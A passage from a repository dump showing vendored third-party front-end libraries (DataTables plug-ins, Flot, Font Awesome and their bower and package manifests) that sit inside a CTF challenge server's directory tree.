8 | * @author [Allan Jardine](http://sprymedia.co.uk)
9 | */
10 |
11 | $.fn.dataTable.ext.order['dom-select'] = function ( settings, col )
12 | {
13 | return this.api().column( col, {order:'index'} ).nodes().map( function ( td, i ) {
14 | return $('select', td).val();
15 | } );
16 | };
17 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/sorting/custom-data-source/dom-text.js:
--------------------------------------------------------------------------------
1 | /**
2 | * Read information from a column of input (type text) elements and return an
3 | * array to use as a basis for sorting.
4 | *
5 | * @summary Sorting based on the values of `dt-tag input` elements in a column.
6 | * @name Input element data source
7 | * @requires DataTables 1.10+
8 | * @author [Allan Jardine](http://sprymedia.co.uk)
9 | */
10 |
11 | $.fn.dataTable.ext.order['dom-text'] = function ( settings, col )
12 | {
13 | return this.api().column( col, {order:'index'} ).nodes().map( function ( td, i ) {
14 | return $('input', td).val();
15 | } );
16 | };
17 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/sorting/scientific.js:
--------------------------------------------------------------------------------
1 | /**
2 | * This plug-in will treat numbers which are in scientific notation (for
3 | * example `1E-10`, `1.2E6` etc) and sort them numerically.
4 | *
5 | * @name Scientific notation sorting
6 | * @summary Sort data which is written in exponential notation.
7 | * @author [Nick Schurch](http://datatables.net/forums/profile/21757/nickschurch)
8 | *
9 | * @example
10 | * $('#example').dataTable( {
11 | * columnDefs: [
12 | * { type: 'scientific', targets: 0 }
13 | * ]
14 | * } );
15 | */
16 |
17 | jQuery.extend( jQuery.fn.dataTableExt.oSort, {
18 | "scientific-pre": function ( a ) {
19 | return parseFloat(a);
20 | },
21 |
22 | "scientific-asc": function ( a, b ) {
23 | return ((a < b) ? -1 : ((a > b) ? 1 : 0));
24 | },
25 |
26 | "scientific-desc": function ( a, b ) {
27 | return ((a < b) ? 1 : ((a > b) ? -1 : 0));
28 | }
29 | } );
30 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/type-detection/date-uk.js:
--------------------------------------------------------------------------------
1 | /**
2 | * Automatically detect British (`dd/mm/yyyy`) date types. Goes with the UK
3 | * date sorting plug-in.
4 | *
5 | * @name Date (`dd/mm/yyyy`)
6 | * @summary Detect data which is in the date format `dd/mm/yyyy`
7 | * @author Andy McMaster
8 | */
9 |
10 | jQuery.fn.dataTableExt.aTypes.unshift(
11 | function ( sData )
12 | {
13 | if (sData !== null && sData.match(/^(0[1-9]|[12][0-9]|3[01])\/(0[1-9]|1[012])\/(19|20|21)\d\d$/))
14 | {
15 | return 'date-uk';
16 | }
17 | return null;
18 | }
19 | );
20 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/type-detection/ip-address.js:
--------------------------------------------------------------------------------
1 | /**
2 | * Automatically detect IP addresses in dot notation. Goes perfectly with the
3 | * IP address sorting function.
4 | *
5 | * @name IP address detection
6 | * @summary Detect data which is in IP address notation
7 | * @author Brad Wasson
8 | */
9 |
10 | jQuery.fn.dataTableExt.aTypes.unshift(
11 | function ( sData )
12 | {
13 | if (/^\d{1,3}[\.]\d{1,3}[\.]\d{1,3}[\.]\d{1,3}$/.test(sData)) {
14 | return 'ip-address';
15 | }
16 | return null;
17 | }
18 | );
19 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/.bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "datatables-responsive",
3 | "version": "1.0.7",
4 | "main": [
5 | "js/dataTables.responsive.js",
6 | "css/responsive.dataTables.scss"
7 | ],
8 | "dependencies": {
9 | "jquery": ">=1.7.0",
10 | "datatables": ">=1.10.1"
11 | },
12 | "homepage": "https://github.com/DataTables/Responsive",
13 | "_release": "1.0.7",
14 | "_resolution": {
15 | "type": "version",
16 | "tag": "1.0.7",
17 | "commit": "435b1bd36ed29de73dd704121de0571a5c1a50a6"
18 | },
19 | "_source": "https://github.com/DataTables/Responsive.git",
20 | "_target": "~1.0.3",
21 | "_originalSource": "datatables-responsive"
22 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/.gitignore:
--------------------------------------------------------------------------------
1 | .sass-cache
2 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "datatables-responsive",
3 | "version": "1.0.7",
4 | "main": [
5 | "js/dataTables.responsive.js",
6 | "css/responsive.dataTables.scss"
7 | ],
8 | "dependencies": {
9 | "jquery": ">=1.7.0",
10 | "datatables": ">=1.10.1"
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/css/responsive.bootstrap.scss:
--------------------------------------------------------------------------------
1 |
2 | $open-button-background: #337ab7 !default;
3 |
4 | @import 'responsive.dataTables.scss';
5 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/css/responsive.foundation.scss:
--------------------------------------------------------------------------------
1 |
2 | $open-button-background: #008CBA !default;
3 |
4 | @import 'responsive.dataTables.scss';
5 |
6 | table.dataTable > tbody > tr.child {
7 | ul {
8 | font-size: 1em;
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/css/responsive.jqueryui.scss:
--------------------------------------------------------------------------------
1 |
2 | @import 'responsive.dataTables.scss';
3 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/examples/child-rows/disable-child-rows.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
17 |
18 |
19 | Disable child rows
20 |
21 |
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/examples/display-control/index.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Display control
5 |
6 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/examples/index.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Responsive DataTables
5 |
6 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/examples/initialisation/index.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Initialisation
5 |
6 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/examples/styling/foundation.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
13 |
14 |
15 | Foundation styling
16 |
17 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/examples/styling/index.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Styling
5 |
6 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/examples/styling/jqueryui.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
13 |
14 |
15 | jQuery UI styling
16 |
17 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/make.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | OUT_DIR=$1
4 | DEBUG=$2
5 |
6 | # Change into script's own dir
7 | cd $(dirname $0)
8 |
9 | DT_SRC=$(dirname $(dirname $(pwd)))
10 | DT_BUILT="${DT_SRC}/built/DataTables"
11 | . $DT_SRC/build/include.sh
12 |
13 | # Copy CSS
14 | rsync -r css $OUT_DIR
15 | css_frameworks responsive $OUT_DIR/css
16 |
17 | # Copy images
18 | #rsync -r images $OUT_DIR
19 |
20 | # Copy JS
21 | rsync -r js $OUT_DIR
22 | js_compress $OUT_DIR/js/dataTables.responsive.js
23 | js_frameworks responsive $OUT_DIR/js
24 |
25 | # Copy and build examples
26 | rsync -r examples $OUT_DIR
27 | examples_process $OUT_DIR/examples
28 |
29 | # Readme and license
30 | cp Readme.md $OUT_DIR
31 | cp License.txt $OUT_DIR
32 |
33 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/ISSUE_TEMPLATE.md:
--------------------------------------------------------------------------------
1 | Please post support requests and questions in the DataTables forums at https://datatables.net/forums. Support requests posted here will be closed. This allows all questions to be located in a single, searchable, location.
2 |
3 | When you post your question in the DataTables forums, please ensure that you include a link to the page showing the issue so it can be debugged.
4 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "datatables",
3 | "main": [
4 | "media/js/jquery.dataTables.js",
5 | "media/css/jquery.dataTables.css",
6 | "media/images/sort_asc.png",
7 | "media/images/sort_asc_disabled.png",
8 | "media/images/sort_both.png",
9 | "media/images/sort_desc.png",
10 | "media/images/sort_desc_disabled.png"
11 | ],
12 | "dependencies": {
13 | "jquery": ">=1.7.0"
14 | },
15 | "license": "MIT",
16 | "keywords": [
17 | "jquery",
18 | "datatables",
19 | "table",
20 | "javascript",
21 | "library"
22 | ],
23 | "ignore": [
24 | "/.*",
25 | "examples",
26 | "media/unit_testing",
27 | "composer.json",
28 | "dataTables.jquery.json",
29 | "package.json"
30 | ]
31 | }
32 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/Sorting icons.psd:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/Sorting icons.psd
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/favicon.ico
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_asc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_asc.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_asc_disabled.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_asc_disabled.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_both.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_both.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_desc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_desc.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_desc_disabled.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_desc_disabled.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/eve-raphael/.bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "eve-raphael",
3 | "description": "Simple custom events",
4 | "main": "./eve.js",
5 | "authors": [
6 | "Tomas Alabes (http://tomasalabes.me)"
7 | ],
8 | "license": "MIT",
9 | "homepage": "https://github.com/tomasAlabes/eve",
10 | "ignore": [
11 | "**/.*",
12 | "node_modules",
13 | "bower_components",
14 | "test",
15 | "tests"
16 | ],
17 | "version": "0.5.0",
18 | "_release": "0.5.0",
19 | "_resolution": {
20 | "type": "version",
21 | "tag": "v0.5.0",
22 | "commit": "93132d5d47a0ce31dbd1b75208b1d4c0e2ad81e8"
23 | },
24 | "_source": "https://github.com/tomasAlabes/eve.git",
25 | "_target": "0.5.0",
26 | "_originalSource": "eve-raphael"
27 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/eve-raphael/README.md:
--------------------------------------------------------------------------------
1 | # Eve
2 |
3 | Tiny event helping JavaScript library.
4 |
5 | For use case look at e.html
6 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/eve-raphael/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "eve-raphael",
3 | "description": "Simple custom events",
4 | "main": "./eve.js",
5 | "authors": [
6 | "Tomas Alabes (http://tomasalabes.me)"
7 | ],
8 | "license": "MIT",
9 | "homepage": "https://github.com/tomasAlabes/eve",
10 | "ignore": [
11 | "**/.*",
12 | "node_modules",
13 | "bower_components",
14 | "test",
15 | "tests"
16 | ]
17 | }
18 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/eve-raphael/component.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "eve",
3 | "repo": "adobe-webplatform/eve",
4 | "description": "Custom Events",
5 | "version": "0.5.0",
6 | "keywords": ["events"],
7 | "dependencies": {},
8 | "development": {},
9 | "main": "eve.js",
10 | "scripts": [
11 | "eve.js"
12 | ]
13 | }
14 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/eve-raphael/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name" : "eve",
3 |
4 | "author" : {
5 | "name" : "Dmitry Baranovskiy",
6 | "email" : "dmitry@baranovskiy.com",
7 | "url" : "http://dmitry.baranovskiy.com"
8 | },
9 | "description" : "Simple custom events",
10 | "version" : "0.5.0",
11 |
12 | "main" : "./eve.js",
13 |
14 | "repository": {
15 | "type": "git",
16 | "url": "git@github.com:adobe-webplatform/eve.git"
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot.tooltip/.bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "flot.tooltip",
3 | "version": "0.8.7",
4 | "license": "MIT",
5 | "main": "js/jquery.flot.tooltip.js",
6 | "ignore": [
7 | ".gitignore",
8 | "Gruntfile.js",
9 | "README.md",
10 | "package.json",
11 | "examples"
12 | ],
13 | "homepage": "https://github.com/krzysu/flot.tooltip",
14 | "_release": "0.8.7",
15 | "_resolution": {
16 | "type": "version",
17 | "tag": "0.8.7",
18 | "commit": "042a27d8b33d22207af8b7e76d9f0a14c840a5ae"
19 | },
20 | "_source": "https://github.com/krzysu/flot.tooltip.git",
21 | "_target": "~0.8.4",
22 | "_originalSource": "flot.tooltip"
23 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot.tooltip/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "flot.tooltip",
3 | "version": "0.8.7",
4 | "license": "MIT",
5 | "main": "js/jquery.flot.tooltip.js",
6 | "ignore": [
7 | ".gitignore",
8 | "Gruntfile.js",
9 | "README.md",
10 | "package.json",
11 | "examples"
12 | ]
13 | }
14 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/.bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Flot",
3 | "version": "0.8.3",
4 | "main": "jquery.flot.js",
5 | "dependencies": {
6 | "jquery": ">= 1.2.6"
7 | },
8 | "homepage": "https://github.com/flot/flot",
9 | "_release": "0.8.3",
10 | "_resolution": {
11 | "type": "version",
12 | "tag": "v0.8.3",
13 | "commit": "453b017cc5acfd75e252b93e8635f57f4196d45d"
14 | },
15 | "_source": "https://github.com/flot/flot.git",
16 | "_target": "~0.8.3",
17 | "_originalSource": "flot"
18 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/.gitignore:
--------------------------------------------------------------------------------
1 | *.min.js
2 | !excanvas.min.js
3 | node_modules/
4 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/.travis.yml:
--------------------------------------------------------------------------------
1 | language: node_js
2 | node_js:
3 | - 0.8
4 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/Makefile:
--------------------------------------------------------------------------------
1 | # Makefile for generating minified files
2 |
3 | .PHONY: all
4 |
5 | # we cheat and process all .js files instead of an exhaustive list
6 | all: $(patsubst %.js,%.min.js,$(filter-out %.min.js,$(wildcard *.js)))
7 |
8 | %.min.js: %.js
9 | yui-compressor $< -o $@
10 |
11 | test:
12 | ./node_modules/.bin/jshint *jquery.flot.js
13 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/component.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Flot",
3 | "version": "0.8.3",
4 | "main": "jquery.flot.js",
5 | "dependencies": {
6 | "jquery": ">= 1.2.6"
7 | }
8 | }
9 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-eu-gdp-growth-1.json:
--------------------------------------------------------------------------------
1 | {
2 | "label": "Europe (EU27)",
3 | "data": [[1999, 3.0], [2000, 3.9]]
4 | }
5 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-eu-gdp-growth-2.json:
--------------------------------------------------------------------------------
1 | {
2 | "label": "Europe (EU27)",
3 | "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2]]
4 | }
5 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-eu-gdp-growth-3.json:
--------------------------------------------------------------------------------
1 | {
2 | "label": "Europe (EU27)",
3 | "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2], [2003, 1.3], [2004, 2.5]]
4 | }
5 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-eu-gdp-growth-4.json:
--------------------------------------------------------------------------------
1 | {
2 | "label": "Europe (EU27)",
3 | "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2], [2003, 1.3], [2004, 2.5], [2005, 2.0], [2006, 3.1]]
4 | }
5 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-eu-gdp-growth-5.json:
--------------------------------------------------------------------------------
1 | {
2 | "label": "Europe (EU27)",
3 | "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2], [2003, 1.3], [2004, 2.5], [2005, 2.0], [2006, 3.1], [2007, 2.9], [2008, 0.9]]
4 | }
5 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-eu-gdp-growth.json:
--------------------------------------------------------------------------------
1 | {
2 | "label": "Europe (EU27)",
3 | "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2], [2003, 1.3], [2004, 2.5], [2005, 2.0], [2006, 3.1], [2007, 2.9], [2008, 0.9]]
4 | }
5 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-japan-gdp-growth.json:
--------------------------------------------------------------------------------
1 | {
2 | "label": "Japan",
3 | "data": [[1999, -0.1], [2000, 2.9], [2001, 0.2], [2002, 0.3], [2003, 1.4], [2004, 2.7], [2005, 1.9], [2006, 2.0], [2007, 2.3], [2008, -0.7]]
4 | }
5 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-usa-gdp-growth.json:
--------------------------------------------------------------------------------
1 | {
2 | "label": "USA",
3 | "data": [[1999, 4.4], [2000, 3.7], [2001, 0.8], [2002, 1.6], [2003, 2.5], [2004, 3.6], [2005, 2.9], [2006, 2.8], [2007, 2.0], [2008, 1.1]]
4 | }
5 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/axes-time-zones/tz/factory:
--------------------------------------------------------------------------------
1 | #
2 | # This file is in the public domain, so clarified as of
3 | # 2009-05-17 by Arthur David Olson.
4 |
5 | # For companies who don't want to put time zone specification in
6 | # their installation procedures. When users run date, they'll get the message.
7 | # Also useful for the "comp.sources" version.
8 |
9 | # Zone NAME GMTOFF RULES FORMAT
10 | Zone Factory 0 - "Local time zone must be set--see zic manual page"
11 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/axes-time-zones/tz/southamerica:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/axes-time-zones/tz/southamerica
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/axes-time-zones/tz/yearistype.sh:
--------------------------------------------------------------------------------
1 | #! /bin/sh
2 |
3 | : 'This file is in the public domain, so clarified as of'
4 | : '2006-07-17 by Arthur David Olson.'
5 |
6 | case $#-$1 in
7 | 2-|2-0*|2-*[!0-9]*)
8 | echo "$0: wild year - $1" >&2
9 | exit 1 ;;
10 | esac
11 |
12 | case $#-$2 in
13 | 2-even)
14 | case $1 in
15 | *[24680]) exit 0 ;;
16 | *) exit 1 ;;
17 | esac ;;
18 | 2-nonpres|2-nonuspres)
19 | case $1 in
20 | *[02468][048]|*[13579][26]) exit 1 ;;
21 | *) exit 0 ;;
22 | esac ;;
23 | 2-odd)
24 | case $1 in
25 | *[13579]) exit 0 ;;
26 | *) exit 1 ;;
27 | esac ;;
28 | 2-uspres)
29 | case $1 in
30 | *[02468][048]|*[13579][26]) exit 0 ;;
31 | *) exit 1 ;;
32 | esac ;;
33 | 2-*)
34 | echo "$0: wild type - $2" >&2 ;;
35 | esac
36 |
37 | echo "$0: usage is $0 year even|odd|uspres|nonpres|nonuspres" >&2
38 | exit 1
39 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/background.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/background.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/image/hs-2004-27-a-large-web.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/image/hs-2004-27-a-large-web.jpg
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-down.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-down.gif
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-left.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-left.gif
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-right.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-right.gif
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-up.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-up.gif
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/flot.jquery.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "flot",
3 | "version": "0.8.3",
4 | "title": "Flot",
5 | "author": {
6 | "name": "Ole Laursen",
7 | "url": "https://github.com/OleLaursen"
8 | },
9 | "licenses": [{
10 | "type": "MIT",
11 | "url": "http://github.com/flot/flot/blob/master/LICENSE.txt"
12 | }],
13 | "dependencies": {
14 | "jquery": ">=1.2.6"
15 | },
16 | "description": "Flot is a pure JavaScript plotting library for jQuery, with a focus on simple usage, attractive looks and interactive features.",
17 | "keywords": ["plot", "chart", "graph", "visualization", "canvas", "graphics"],
18 | "homepage": "http://www.flotcharts.org",
19 | "docs": "http://github.com/flot/flot/blob/master/API.md",
20 | "demo": "http://www.flotcharts.org/flot/examples/",
21 | "bugs": "http://github.com/flot/flot/issues",
22 | "maintainers": [{
23 | "name": "David Schnur",
24 | "email": "dnschnur@gmail.com",
25 | "url": "http://github.com/dnschnur"
26 | }]
27 | }
28 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Flot",
3 | "version": "0.8.3",
4 | "main": "jquery.flot.js",
5 | "scripts": {
6 | "test": "make test"
7 | },
8 | "devDependencies": {
9 | "jshint": "0.9.1"
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/.bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "font-awesome",
3 | "description": "Font Awesome",
4 | "version": "4.2.0",
5 | "keywords": [],
6 | "homepage": "http://fontawesome.io",
7 | "dependencies": {},
8 | "devDependencies": {},
9 | "license": [
10 | "OFL-1.1",
11 | "MIT",
12 | "CC-BY-3.0"
13 | ],
14 | "main": [
15 | "./css/font-awesome.css",
16 | "./fonts/*"
17 | ],
18 | "ignore": [
19 | "*/.*",
20 | "*.json",
21 | "src",
22 | "*.yml",
23 | "Gemfile",
24 | "Gemfile.lock",
25 | "*.md"
26 | ],
27 | "_release": "4.2.0",
28 | "_resolution": {
29 | "type": "version",
30 | "tag": "v4.2.0",
31 | "commit": "0b924144a95a54fa738d0450ff66c1dabd11ae74"
32 | },
33 | "_source": "https://github.com/FortAwesome/Font-Awesome.git",
34 | "_target": "~4.2.0",
35 | "_originalSource": "font-awesome"
36 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/.gitignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 | *.egg-info
3 | *.db
4 | *.db.old
5 | *.swp
6 | *.db-journal
7 |
8 | .coverage
9 | .DS_Store
10 | .installed.cfg
11 | _gh_pages/*
12 |
13 | .idea/*
14 | .svn/*
15 | src/website/static/*
16 | src/website/media/*
17 |
18 | bin
19 | cfcache
20 | develop-eggs
21 | dist
22 | downloads
23 | eggs
24 | parts
25 | tmp
26 | .sass-cache
27 | node_modules
28 |
29 | src/website/settingslocal.py
30 | stunnel.log
31 |
32 | .ruby-version
33 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/.npmignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 | *.egg-info
3 | *.db
4 | *.db.old
5 | *.swp
6 | *.db-journal
7 |
8 | .coverage
9 | .DS_Store
10 | .installed.cfg
11 | _gh_pages/*
12 |
13 | .idea/*
14 | .svn/*
15 | src/website/static/*
16 | src/website/media/*
17 |
18 | bin
19 | cfcache
20 | develop-eggs
21 | dist
22 | downloads
23 | eggs
24 | parts
25 | tmp
26 | .sass-cache
27 | node_modules
28 |
29 | src/website/settingslocal.py
30 | stunnel.log
31 |
32 | .ruby-version
33 |
34 | # don't need these in the npm package.
35 | src/
36 | _config.yml
37 | bower.json
38 | component.json
39 | composer.json
40 | CONTRIBUTING.md
41 | Gemfile
42 | Gemfile.lock
43 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "font-awesome",
3 | "description": "Font Awesome",
4 | "version": "4.2.0",
5 | "keywords": [],
6 | "homepage": "http://fontawesome.io",
7 | "dependencies": {},
8 | "devDependencies": {},
9 | "license": ["OFL-1.1", "MIT", "CC-BY-3.0"],
10 | "main": [
11 | "./css/font-awesome.css",
12 | "./fonts/*"
13 | ],
14 | "ignore": [
15 | "*/.*",
16 | "*.json",
17 | "src",
18 | "*.yml",
19 | "Gemfile",
20 | "Gemfile.lock",
21 | "*.md"
22 | ]
23 | }
24 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/FontAwesome.otf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/FontAwesome.otf
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/fontawesome-webfont.eot:
--------------------------------------------------------------------------------
